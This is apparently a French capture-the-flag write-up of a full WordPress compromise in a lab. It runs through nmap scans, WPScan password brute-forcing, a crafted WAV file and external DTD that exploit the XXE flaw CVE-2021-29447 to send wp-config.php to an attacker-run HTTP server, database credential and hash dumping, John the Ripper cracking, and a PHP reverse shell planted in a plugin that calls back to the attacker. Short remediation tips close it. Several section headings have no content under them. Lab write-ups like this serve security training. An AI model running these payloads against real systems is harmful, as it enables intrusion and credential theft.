
L’objectif est de mener une évaluation de sécurité à grande échelle d’une application web basée sur WordPress, aboutissant à un compromis complet du serveur. L’évaluation se concentrera sur l’exploitation d’une vulnérabilité spécifique et réelle (CVE-2021-29447) pour obtenir un accès initial.
Objectif du projet : Démontrer une chaîne d'attaque complète sur une installation WordPress vulnérable, en exploitant CVE-2021-29447 (XXE dans la médiathèque) pour parvenir à l'exécution de code à distance et à un compromis complet du système.
Phase 1 : Reconnaissance & Énumération Scan Réseau avec Nmap :
# Quick SYN scan to discover open ports
nmap -sS -T4 10.201.3.95
# Detailed version and script scanning
nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan
Résultats :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu
80/tcp open http Apache/2.4.18 (Ubuntu)
|_http-generator: WordPress 5.6.2
3306/tcp open mysql MySQL 5.7.33
Énumération WordPress avec WPScan :
# User enumeration
wpscan --url http://10.201.3.95/ --enumerate u
# Password brute-force attack
wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt
Identifiants obtenus :
Phase 2 : Accès initial - Exploitation de XXE (CVE-2021-29447) Création d'un fichier WAV malveillant :
echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.201.27.80:8000/yup.dtd'"'"'>%remote;%param;%send;]>\x00' > payload.wav
Payload DTD externe (yup.dtd) :
<!ENTITY % payload SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/wp-config.php">
<!ENTITY % param "<!ENTITY % send SYSTEM 'http://10.201.27.80:8000/?exfil=%payload;'>">
Serveur HTTP pour l'exfiltration des données :
python3 -m http.server 8000
Script PHP de décodage des données :
<?php
$base64 = "hVTbjpswEH3fr+CxlYLMLTc/blX1ZVO1m6qvlQNeYi3Y1IZc+vWd8RBCF1aVDZrxnDk+9gxYY1p+4REMiyaj90FpdhDu+FAIWRsNiBhG77DOWeYAcreYNpUplX7A1QtPYPj4PMhdHYBSGGixQp5mQToHVMZXy2Wace+yGylD96EUtUSmJV9FnBzPMzL/oawFilvxOOFospOwLBf5UTLvTvBVA/A1DDA82DXGVKxqillyVQF8A8ObPoGsCVbLM+rewvDmiJz8SUbX5SgmjnB6Z5RD/iSnseZyxaQUJ3nvVOR8PoeFaAWWJcU5LPhtwJurtchfO1QF5YHZuz6B7LmDVMphw6UbnDu4HqXL4AkWg53QopSWCDxsmq0s9kS6xQl2QWDbaUbeJKHUosWrzmKcX9ALHrsyfJaNsS3uvb+6VtbBB1HUSn+87X5glDlTO3MwBV4r9SW9+0UAaXkB6VLPqXd+qyJsFfQntXccYUUT3oeCHxACSTo/WqPVH9EqoxeLBfdn7EH0BbyIysmBUsv2bOyrZ4RPNUoHxq8U6a+3BmVv+aDnWvUyx2qlM9VJetYEnmxgfaaInXDdUmbYDp0Lh54EhXG0HPgeOxd8w9h/DgsX6bMzeDacs6OpJevXR8hfomk9btkX6E1p7kiohIN7AW0eDz8H+MDubVVgYATvOlUUHrkGZMxJK62Olbbdhaob0evTz89hEiVxmGyzbO0PSdIReP/dOnck9s2g+6bEh2Z+O1f3u/IpWxC05rvr/vtTsJf2Vpx3zv0X";
echo zlib_decode(base64_decode($base64));
?>
Identifiants de la base de données extraits :
define('DB_NAME', 'wordpressdb2');
define('DB_USER', 'thedarktangent');
define('DB_PASSWORD', 'sUp3rS3cret132');
define('DB_HOST', 'localhost');
Phase 3 : Accès à la base de données & récolte d'identifiants Connexion MySQL :
mysql -h 10.201.3.95 -u thedarktangent -p
Requêtes SQL exécutées :
SHOW DATABASES;
USE wordpressdb2;
SHOW TABLES;
SELECT user_login, user_pass FROM wptry_users;
Hachages utilisateur obtenus :
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 |
| test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 |
+------------+------------------------------------+
Craquage de mots de passe avec John the Ripper :
# Create hash file
cat > wp_hashes.txt << EOF
corp-001:\$P\$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1
test-corp:\$P\$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0
EOF
# Crack hashes
john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt
john --show wp_hashes.txt
Mots de passe crackés :
Phase 4 : Élévation de privilèges & RCE Payload de reverse shell (Plugin Hello Dolly modifié) :
<?php
// PHP Reverse Shell payload
set_time_limit(0);
$VERSION = "1.0";
$ip = '10.201.27.80';
$port = 4444;
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/sh -i';
// ... full reverse shell code ...
?>
Listener Netcat :
nc -nvlp 4444
Accès shell obtenu :
Connection received on 10.201.3.95 42314
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Phase 5 : Post-exploitation (En attente de finalisation) Commandes pour la prochaine session :
# Flag hunting
find / -name flag.txt 2>/dev/null
find / -name root.txt 2>/dev/null
find / -name user.txt 2>/dev/null
# Privilege escalation enumeration
sudo -l
find / -perm -u=s -type f 2>/dev/null
cat /etc/crontab
ps aux
uname -a
cat /etc/os-release
Constatations de sécurité & Recommandations Vulnérabilités critiques identifiées :
Recommandations de correction :
Statut du projet : 90% Terminé - Reverse shell obtenu, capture finale du flag et élévation de privilèges en attente d'une nouvelle attribution d'IP.
PARTIE 2 ! FLAG Phase finale : Post-exploitation & Capture du flag Objectif : Obtenir un compromis complet du système et capturer le flag final.
Actions effectuées :
Activation du reverse shell :
Accès shell réussi :
Connection received on 10.201.46.113 46240
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Exploration du système de fichiers :
Extraction du flag :
Résumé complet de la chaîne d'attaque
Constatations de sécurité clés Vulnérabilités critiques exploitées :
Recommandations de sécurité :
✅ Mise à jour immédiate vers la dernière version de WordPress
✅ Mise en place d'une politique de mots de passe forte avec 2FA
✅ Correctifs de sécurité et scans de vulnérabilité réguliers
✅ Principe du moindre privilège pour les comptes utilisateur
✅ Restreindre les fonctionnalités de téléchargement de fichiers et le traitement XML
Conclusion Le projet Chimera a démontré avec succès une chaîne d'attaque complète, de la reconnaissance initiale au compromis total du système. Cet exercice a mis en évidence la manière dont une vulnérabilité apparemment mineure d'analyse XML (CVE-2021-29447) peut être combinée à des pratiques de sécurité défaillantes pour aboutir à une prise de contrôle complète du système.
Le projet a souligné l'importance de :
Statut final : ✅ 100% Terminé - Tous les objectifs atteints, flag capturé : thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Le projet Chimera nous rappelle avec force que la sécurité nécessite une défense en profondeur, car une seule vulnérabilité peut mener à un compromis complet du système lorsqu'elle est combinée à d'autres faiblesses de sécurité.
| Phase | Technique utilisée | Résultat |
|---|
| 1. Reconnaissance | Scan Nmap | Découverte de WordPress 5.6.2 sur Apache/2.4.18 |
| 2. Accès initial | WPScan + Brute-force de mots de passe | Obtention d'un accès admin avec test-corp:test |
| 3. Exploitation de vulnérabilité | CVE-2021-29447 (XXE) | Extraction de wp-config.php via un fichier WAV malveillant |
| 4. Exfiltration de données | Récolte d'identifiants MySQL | Obtention des identifiants de la base de données : thedarktangent:sUp3rS3cret132 |
| 5. Élévation de privilèges | Fonctionnalité admin WordPress | Modification du plugin pour obtenir un accès reverse shell |
| 6. Compromis final | Exploration du système | Capture du flag final dans /home/stux/flag/flag.txt |